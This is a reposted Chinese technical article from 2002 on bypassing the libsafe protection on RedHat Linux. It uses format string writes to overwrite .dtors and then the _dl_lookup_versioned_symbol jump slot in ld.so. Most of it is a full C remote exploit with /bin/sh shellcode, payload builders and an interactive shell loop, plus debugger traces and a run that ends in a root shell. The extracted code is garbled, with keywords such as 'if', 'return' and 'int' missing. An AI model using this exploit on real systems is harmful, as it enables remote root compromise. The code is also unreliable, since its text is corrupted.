symbol:绕过libsafe的保护--覆盖_dl_lookup_versioned_symbol技术

Author: alert7
Email: [email protected]
Homepage:http://www.whitecell.org
Date: 2002-08-10


绕过libsafe保护--覆盖_dl_lookup_versioned_symbol技术

by alert7 < [email protected] >
主页: http://www.xfocus.org/ http://www.whitecell.org/
2002-04-29


在这里向您展现下新覆盖_dl_lookup_versioned_symbol技术
(这技术我提就这么命名好了:) )
的处还请来信斧正谢谢

上接<<如何写远程自动精确定位format exploit>>

由于libsafe只保护堆栈区不保护heap,和bss区所以我们可以设法覆盖那里某些重要变量
从而使我们shellcode获得控制权

想法:覆盖dtors

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/ls
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/more
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /bin/mail
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libc.so.6 => /lib/i686/libc.so.6 (0x4002c000)
libdl.so.2 => /lib/libdl.so.2 (0x40167000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

[alert7@redhat72 libsafe-2.0-13]# ldd /usr/local/apache/bin/httpd
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libpam.so.0 => /lib/libpam.so.0 (0x4002c000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x40034000)
libresolv.so.2 => /lib/libresolv.so.2 (0x40061000)
libm.so.6 => /lib/i686/libm.so.6 (0x40073000)
libdl.so.2 => /lib/libdl.so.2 (0x40096000)
libnsl.so.1 => /lib/libnsl.so.1 (0x4009a000)
libexpat.so.0 => /usr/lib/libexpat.so.0 (0x400b0000)
libc.so.6 => /lib/i686/libc.so.6 (0x400cd000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

加载libsafe那么它地址般都会在0x40019000
而对于特定版本libsafedtors也有个固定地址
[alert7@redhat72 libsafe-2.0-13]# objdump -s -j .dtors /lib/libsafe.so.2

/lib/libsafe.so.2: file format elf32-i386

Contents of section .dtors:
31e0 ffffffff 50270000 00000000 ....P'......

修改addr_ret等于0x40019000+0x31e0+4

再测试

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0x4001c1e4 addr_shellcode 0xbffff094

Building format and send shellcode
waiting for get a shell succeed...

low 61588;TWO 8;start 65536;base 0;off 6;high 49151

e4 c1 01 40 e6 c1 01 40 25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) bt
#0 0xbffff875 in ??
#1 0x4001b7d9 in _fini at eval.c:41
#2 0x4000de72 in _dl_fini at eval.c:41
#3 0x4005d42b in exit (status=0) at exit.c:54
#4 0x40048510 in __libc_start_ (=0x8048804 <>, argc=1,
ubp_av=0xbffffd24, init=0x8048468 <_init>, fini=0x8048980 <_fini>,
rtld_fini=0x4000dc14 <_dl_fini>, stack_end=0xbffffd1c)
at ../sysdeps/generic/libc-start.c:129
(gdb) x/x 0x4001c1e4
0x4001c1e4 <__DTOR_LIST__+4>: 0xbffff094
(gdb) i reg eip
eip 0xbffff875 0xbffff875
(gdb) x/10x 0xbffff094
0xbffff094: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff0a4: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff0b4: 0x00000000 0x00000000

在执行共享库析构时候已经是快要结束时候format input那些数据已经
所清洗所以这个vul exploit我们不能覆盖dtors达到控制


想法 2:把shellcode 4个字节4个字节拷贝到远程进程进程空间里
这样当exit-->dtors时候shellcode还存在
这样话可能存在个问题就是要注意到进程地址每个字节不能为0


[alert7@redhat72 1674]# cat maps
08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so
40018000-40019000 rw-p 00001000 00:00 0
40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13
4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13
4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so
4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so
40163000-40167000 rw-p 00000000 00:00 0
40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so
4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

我们选择把shellcode写到0x40016000-0x40017000的间地址所以选择了0x40016002作为写入地址
如果堆栈是不可运行我们可以选用0x40016002,来达到绕过般堆栈不可运行
现在我们选择0xbfffd002作为shellcode写入地址会更好

# <stdio.h>
# <stdlib.h>
# <.h>
# <sys/.h>
# <sys/types.h>
# <netinet/in.h>
# <netdb.h>
# <unistd.h>
# <getopt.h>


# CODEAT 0xbfffe002 //shellcode要写入地址该地址定要可写
# LIBSAFEBASE 0x40019000 //libsafe装载基地址
# DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中dtrosoff

char verbose = 0, debug = 0;

# OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
( b0 * b1 * b2 * b3 0 ) { \
prf( "\n%s contains a NUL . Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
# MAX_FMT_LENGTH 128
# ADD 0x100
# FOUR ( size_t ) * 4
# TWO ( size_t ) * 2
# BANNER "uname -a ; id"
# MAX_OFFSET 255


char *shellcode =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh\x90\x90\x90";
//shellcode长度 4倍数

eract( sock)
{
fd_ fds;
ssize_t ssize;
char buffer[1024];

write(sock, BANNER"\n", (BANNER));
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);

(FD_ISSET(STDIN_FILENO, &fds)) {
ssize = read(STDIN_FILENO, buffer, (buffer));
(ssize < 0) {
(-1);
}
(ssize 0) {
(0);
}
write(sock, buffer, ssize);
}

(FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, (buffer));
(ssize < 0) {
(-1);
}
(ssize 0) {
(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
(-1);
}

u_long resolve(char *host)
{
struct hostent *he;
u_long ret;

(!(he = gethostbyname(host)))
{
herror("gethostbyname");
exit(-1);
}

memcpy(&ret, he->h_addr, (he->h_addr));
ret;
}


build_hn1(char * buf, unsigned locaddr, unsigned retaddr, unsigned off, unsigned base, alinged)
{
unsigned char b0, b1, b2, b3;
unsigned high, low;
start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
sz;
i,j,count=0;

prf("write shellcode to remote process address 0x%x ",locaddr);
prf("code: 0x%.2x 0x%.2x 0x%.2x 0x%.2x\n", retaddr& 0xff,(retaddr>>8)&0xff,(retaddr>>16)&0xff,(retaddr>>24)&0xff );
buf[0]=0;

for (i=0;i<alinged;i)
strcat(buf,"a");

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

i = snprf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
off,
high - low + start,
off + 1);
for (j=0;j<strlen(buf);j)
{
(buf[j] '%' )
count;
}
(count > 4)
{
prf("too many '%%' in input buffer\nmay be failed\n\n");
}
i;
}



build_hn(char * buf, unsigned locaddr, unsigned retaddr, unsigned off, unsigned base, alinged)
{
unsigned char b0, b1, b2, b3;
unsigned high, low;
start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
sz;
i,j,count=0;

buf[0]=0;

for (i=0;i<alinged;i)
strcat(buf,"a");

/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprf(buf+alinged, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);

/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;

prf("low %d;TWO %d;start %d;base %d;off %d;high %d\n\n",low,TWO,start,base,off,high);

i = snprf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
off,
high - low + start,
off + 1);
for (j=0;j<strlen(buf);j)
{
(buf[j] '%' )
count;
fprf(stderr,"%.2x ", ()(buf[j] & 0xff));
(j && j%20 0) fprf(stderr, "\n");
}
fprf(stderr, "\n\n");
(count > 4)
{
prf("too many '%%' in input buffer\nmay be failed\n\n");
}
i;
}



void get_addr_as_char(u_ addr, char *buf) {

*(u_*)buf = addr;
(!buf[0]) buf[0];
(!buf[1]) buf[1];
(!buf[2]) buf[2];
(!buf[3]) buf[3];
}

get_off( sock, * alinged) {

i, j,off = -1, len;
char fmt[128], buf[128];
char tmp1[128],tmp2[128];


for (j =0;j<4;j)
{
(j 0)
{
strcpy(tmp1,"AAAA%%%d$x");
strcpy(tmp2,"AAAA41414141");
}
(j 1)
{
strcpy(tmp1,"AAAAa%%%d$x");
strcpy(tmp2,"AAAAa41414141");
}
(j 2)
{
strcpy(tmp1,"AAAAaa%%%d$x");
strcpy(tmp2,"AAAAaa41414141");
}
(j 3)
{
strcpy(tmp1,"AAAAaaa%%%d$x");
strcpy(tmp2,"AAAAaaa41414141");
}

for (i = 1; i<MAX_OFFSET && off -1; i) {

snprf(fmt, (fmt), tmp1, i);
write(sock, fmt, strlen(fmt));
mem(buf, 0, (buf));
sleep(1);
((len = read(sock, buf, (buf))) < 0) {
fprf(stderr, "Error while looking for the off (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}

(debug)
fprf(stderr, "testing off = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);

(!strcmp(buf, tmp2))
{
off = i;
*alinged = j;
goto OUT;
}
}//end for i

}//end for j
OUT:
off;
}


( argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_ read_at, addr_stack = (u_)0xbfffe001; /* default bottom */
u_ addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
port = 12345, off = -1;
sd, len, i;
aligned;
format_counts = 0;
u_ format1=0,format2=0;
use_format = 0;
like_prf = 0;
write_code_TO = CODEAT;
* p;

while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
'i':
ip = optarg;
;

'p':
port = atoi(optarg);
;

'a':
addr_stack = strtoul(optarg, NULL, 16);
;

'o':
off = atoi(optarg);
;

'v':
verbose = 1;
;

'd':
debug = 1;
;

default:
fprf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}

/* init the sockaddr_in */
fprf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s_addr = resolve(ip);
sck.sin_port = htons (port);

/* open the */
(!(sd = (PF_INET, SOCK_STREAM, 0))) {
perror ("");
exit (EXIT_FAILURE);
}

/* connect to the remote server */
(connect (sd, (struct sockaddr *) &sck, (sck)) < 0) {
perror ("Connect ");
exit (EXIT_FAILURE);
}
fprf (stderr, "Connected to %s\n", ip);
(debug) sleep(5);

/* send login */
mem (buf, 0x0, (buf));
len = read(sd, buf, (buf));
(strncmp(buf, "login", 5)) {
fprf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "alert7");
len = write (sd, buf, strlen(buf));
(verbose) fprf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);

/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, (buf));
(strncmp(buf, "password", 8)) {
fprf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, "hi", 2);
(verbose) fprf (stderr, "passwd (hi) sent (%d)\n", len);
sleep(1);

/***********************************************************************/
/* find off and aligned 般情况这个可以手动判断就可以了不过判断
*也不麻烦
*/
(off -1) {
((off = get_off(sd,&aligned)) -1) {
fprf(stderr, "Error: can't find off\n");
fprf(stderr, "Please, use the -o arg to specy it.\n");
close(sd);
exit(EXIT_FAILURE);
}
fprf(stderr, "\n[Found off = %d aligned %d ]\n\n", off,aligned);
}
/***********************************************************************/


addr_ret = LIBSAFEBASE + DTORS_OFFSET_LIBSAFEBASE +4;

fprf (stderr, "\naddr-ret %p addr_shellcode %p\n\n",addr_ret,write_code_TO);

/*******************************************************************************/
/*
*想法 2:把shellcode 4个字节4个字节拷贝到远程进程进程空间里
* 这样当exit-->dtors时候shellcode还存在
* 这样话可能存在个问题就是要注意到进程地址每个字节不能为0
*
*我们选择把shellcode写到0x40016000-0x40017000的间地址所以选择了0x40016002作为写入地址
*/

i=0;
for (p = ( *) shellcode;i*4<strlen(shellcode) ;p,i)
{
mem(buf, 0, (buf));
build_hn1(buf, write_code_TO+i*4, *p, off, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
}


/*******************************************************************************/


/* send the format */
fprf (stderr, "\nBuilding format and send shellcode \nwaiting for get a shell succeed...\n\n");
mem(buf, 0, (buf));
build_hn(buf, addr_ret, write_code_TO, off, 0,aligned);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, (buf));

/* call the while quiting */
fprf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);
eract(sd);

close(sd);
0;
}

[alert7@redhat72 format]$ gcc -o e e.c
[alert7@redhat72 format]$ ./e
Using IP 127.0.0.1
Connected to 127.0.0.1

[Found off = 6 aligned 0 ]

addr-ret 0x4001c1e4 addr_shellcode 0x40016002

write shellcode to remote process address 0x40016002 code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x40016006 code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x4001600a code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x4001600e code: 0x90 0x90 0x90 0x90
write shellcode to remote process address 0x40016012 code: 0xeb 0x1f 0x5e 0x89
write shellcode to remote process address 0x40016016 code: 0x76 0x08 0x31 0xc0
write shellcode to remote process address 0x4001601a code: 0x88 0x46 0x07 0x89
write shellcode to remote process address 0x4001601e code: 0x46 0x0c 0xb0 0x0b
write shellcode to remote process address 0x40016022 code: 0x89 0xf3 0x8d 0x4e
write shellcode to remote process address 0x40016026 code: 0x08 0x8d 0x56 0x0c
write shellcode to remote process address 0x4001602a code: 0xcd 0x80 0x31 0xdb
write shellcode to remote process address 0x4001602e code: 0x89 0xd8 0x40 0xcd
write shellcode to remote process address 0x40016032 code: 0x80 0xe8 0xdc 0xff
write shellcode to remote process address 0x40016036 code: 0xff 0xff 0x2f 0x62
write shellcode to remote process address 0x4001603a code: 0x69 0x6e 0x2f 0x73
write shellcode to remote process address 0x4001603e code: 0x68 0x90 0x90 0x90

Building format and send shellcode
waiting for get a shell succeed...

low 24578;TWO 8;start 65536;base 0;off 6;high 16385

e4 c1 01 40 e6 c1 01 40 25 2e 39 30 31 30 36 78 25 36 24 6e 25
2e 35 37 33 34 33 78 25 37 24 68 6e
Sending the quit ...
`@00000000000000000000000......
......(省略了些乱信息)
0000000000000000000000000000000000000000000bye bye ...
Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
uid=0(root) gid=100(users)
ldd /bin/ls
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40019000)
libtermcap.so.2 => /lib/libtermcap.so.2 (0x4002c000)
libc.so.6 => /lib/i686/libc.so.6 (0x40030000)
libdl.so.2 => /lib/libdl.so.2 (0x4016b000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
exit
[alert7@redhat72 format]$
绕过libsafe成功 :)


但是也有几点不好地方
:几个地址都要粗劣精确定位

# CODEAT 0x40016002 //shellcode要写入地址该地址定要可写
//把shellcode拷贝到地址空间其目是为了保证在exit
//CODEAT地址shellcode还是可用而不会被清理掉
//该地址定要可写保证不当掉
# LIBSAFEBASE 0x40019000 //libsafe装载基地址
# DTORS_OFFSET_LIBSAFEBASE 0x31e0 //libsafe中dtrosoff

来看看下面这个进程映象
[alert7@redhat72 1674]# cat maps
08048000-08049000 r-xp 00000000 16:01 102379 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 16:01 102379 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so
40018000-40019000 rw-p 00001000 00:00 0
40019000-4001c000 r-xp 00000000 16:01 65381 /lib/libsafe.so.2.0.13
4001c000-4001d000 rw-p 00003000 16:01 65381 /lib/libsafe.so.2.0.13
4002c000-4015e000 r-xp 00000000 16:01 77522 /lib/i686/libc-2.2.4.so
4015e000-40163000 rw-p 00131000 16:01 77522 /lib/i686/libc-2.2.4.so
40163000-40167000 rw-p 00000000 00:00 0
40167000-4016a000 r-xp 00000000 16:01 65295 /lib/libdl-2.2.4.so
4016a000-4016b000 rw-p 00002000 16:01 65295 /lib/libdl-2.2.4.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

默认系统lib库装载基地址为0x40000000(除非你自己改源代码重新编译内核)然后
个顺序加载共享库所以LIBSAFEBASE值只取决于ld-x.x.x.so版本也就是说
同样版本/lib/ld-2.2.4.so各个进程加栽libsafe共享库地址般都为0x40019000
所以这个值不是随机应该还算有比较高精确度

DTORS_OFFSET_LIBSAFEBASE值取决于编译器版本和编译时候选项还有就是libsafe版本
如果这 3个都相同应该这个值是所以这个地址成功率也是很高

CODEAT值也取决于ld-x.x.x.so版本或者这个值在其他版本上也可以用也说不定反正我没有测试过
不好说死了

2:需要确定几个值
off和aligned它们两个很容易得到


能不能再精确数据或者说让exploit依赖数据少点
我想到了/lib/ld-2.2.4.so,地址是不变
永远是0x40000000

查找感兴趣
[root@redhat72 format]# objdump -R /lib/ld-2.2.4.so
/lib/ld-2.2.4.so: file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
00016378 R_386_GLOB_DAT __libc_ernal_tsd_
00016380 R_386_GLOB_DAT _dl_nloaded
00016388 R_386_GLOB_DAT __pthread_mutex_lock
0001638c R_386_GLOB_DAT _dl_profile_output
00016390 R_386_GLOB_DAT __libc_stack_end
00016394 R_386_GLOB_DAT _dl_debug_fd
0001639c R_386_GLOB_DAT _dl_initial_searchlist
000163a8 R_386_GLOB_DAT _dl_platformlen
000163ac R_386_GLOB_DAT _dl_debug_mask
000163b0 R_386_GLOB_DAT _dl_profile
000163c0 R_386_GLOB_DAT _dl_cpuclock_off
000163cc R_386_GLOB_DAT __libc_enable_secure
000163dc R_386_GLOB_DAT _dl_global_scope
000163e4 R_386_GLOB_DAT __libc_ernal_tsd_get
000163e8 R_386_GLOB_DAT __pthread_mutex_unlock
000163f4 R_386_GLOB_DAT _dl_lazy
000163f8 R_386_GLOB_DAT _dl_debug_state
000163fc R_386_GLOB_DAT _dl_argv
00016408 R_386_GLOB_DAT _dl__searchlist
00016420 R_386_GLOB_DAT _dl_origin_path
00016424 R_386_GLOB_DAT _dl_clktck
0001642c R_386_GLOB_DAT _dl_starting_up
00016430 R_386_GLOB_DAT _dl_out_of_memory
00016438 R_386_GLOB_DAT _dl_mcount
0001643c R_386_GLOB_DAT _dl_init_all_dirs
00016448 R_386_GLOB_DAT _dl_load_lock
00016450 R_386_GLOB_DAT _dl_fpu_control
00016464 R_386_GLOB_DAT _dl_loaded
00016468 R_386_GLOB_DAT _dl_profile_map
00016474 R_386_GLOB_DAT _dl_all_dirs
00016478 R_386_GLOB_DAT _r_debug
0001648c R_386_GLOB_DAT _dl_pagesize
0001630c R_386_JUMP_SLOT _dl_debug_prf
00016310 R_386_JUMP_SLOT _dl_check_map_versions
00016314 R_386_JUMP_SLOT __pthread_mutex_lock
00016318 R_386_JUMP_SLOT _dl_sysdep_start
0001631c R_386_JUMP_SLOT _dl_init
00016320 R_386_JUMP_SLOT malloc
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
0001632c R_386_JUMP_SLOT calloc
00016330 R_386_JUMP_SLOT __pthread_mutex_unlock
00016334 R_386_JUMP_SLOT _dl_debug_state
00016338 R_386_JUMP_SLOT _dl_dst_substitute
0001633c R_386_JUMP_SLOT realloc
00016340 R_386_JUMP_SLOT _dl_check_all_versions
00016344 R_386_JUMP_SLOT _dl_debug_initialize
00016348 R_386_JUMP_SLOT __xstat64
0001634c R_386_JUMP_SLOT _dl_start_profile
00016350 R_386_JUMP_SLOT _dl_relocate_object
00016354 R_386_JUMP_SLOT _dl_dst_count
00016358 R_386_JUMP_SLOT _dl_unload_cache
0001635c R_386_JUMP_SLOT _dl_map_object
00016360 R_386_JUMP_SLOT _dl_signal_error
00016364 R_386_JUMP_SLOT _dl_catch_error
00016368 R_386_JUMP_SLOT __fxstat64
0001636c R_386_JUMP_SLOT free
00016370 R_386_JUMP_SLOT _dl_map_object_deps

我们只对下面这两个感兴趣
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
通过实验覆盖地址_dl_lookup_versioned_symbol可以成功取得控制权
现在我们找到了_dl_lookup_versioned_symbol
现在我们所有地址只跟ld-x.x.x.so版本有关了而跟编译器(没有人会去重新编译ld吧)和libsafe无关了


以上是linux redhat 7.2上测试值

以下是linux redhat 6.2测试值
[root@redhat]# ldd fmtd
/lib/libsafe.so.2 => /lib/libsafe.so.2 (0x40016000)
libc.so.6 => /lib/libc.so.6 (0x40020000)
libdl.so.2 => /lib/libdl.so.2 (0x40115000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
[root@redhat]# objdump -s -j .dtors /lib/libsafe.so.2

/lib/libsafe.so.2: file format elf32-i386

Contents of section .dtors:
4124 ffffffff 68260000 00000000 ....h&......
[root@redhat]# cat maps
08048000-08049000 r-xp 00000000 03:01 73098 /home/alert7/format/fmtd
08049000-0804a000 rw-p 00000000 03:01 73098 /home/alert7/format/fmtd
0804a000-0804d000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so
40014000-40015000 rw-p 00000000 00:00 0
40016000-40019000 r-xp 00000000 03:01 40413 /lib/libsafe.so.2.0.13
40019000-4001b000 rw-p 00002000 03:01 40413 /lib/libsafe.so.2.0.13
40020000-4010d000 r-xp 00000000 03:01 40329 /lib/libc-2.1.3.so
4010d000-40111000 rw-p 000ec000 03:01 40329 /lib/libc-2.1.3.so
40111000-40115000 rw-p 00000000 00:00 0
40115000-40117000 r-xp 00000000 03:01 40338 /lib/libdl-2.1.3.so
40117000-40119000 rw-p 00001000 03:01 40338 /lib/libdl-2.1.3.so
bfffd000-c0000000 rwxp ffffe000 00:00 0

ld-2.2.2.so redhat 7.2
0001661c R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016620 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40016000 r-xp 00000000 08:02 227252 /lib/ld-2.2.2.so
40016000-40017000 rw-p 00015000 08:02 227252 /lib/ld-2.2.2.so


ld-2.2.4.so redhat 7.2
00016324 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00016328 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40016000 r-xp 00000000 16:01 65282 /lib/ld-2.2.4.so
40016000-40017000 rw-p 00015000 16:01 65282 /lib/ld-2.2.4.so

ld-2.1.3.so redhat 6.2
00013884 R_386_JUMP_SLOT _dl_lookup_versioned_symbol
00013888 R_386_JUMP_SLOT _dl_lookup_symbol
40000000-40013000 r-xp 00000000 03:01 40322 /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 03:01 40322 /lib/ld-2.1.3.so


最终exploit变量定位只和ld版本相关

# CODEAT 0xbfffe002 //shellcode要写入地址该地址定要可写
# LIBSAFEBASE 0x40000000 //ld装载基地址
# DTORS_OFFSET_LIBSAFEBASE (0x16328 -4) //后面中做了+4

---THE END.



  • 篇文章: 高级缓冲区溢出攻击(1)

  • 篇文章: Windows下Heap溢出种思路方法
  • Tags:  undefinedsymbol excellookup lookup symbol

    延伸阅读

    最新评论

    发表评论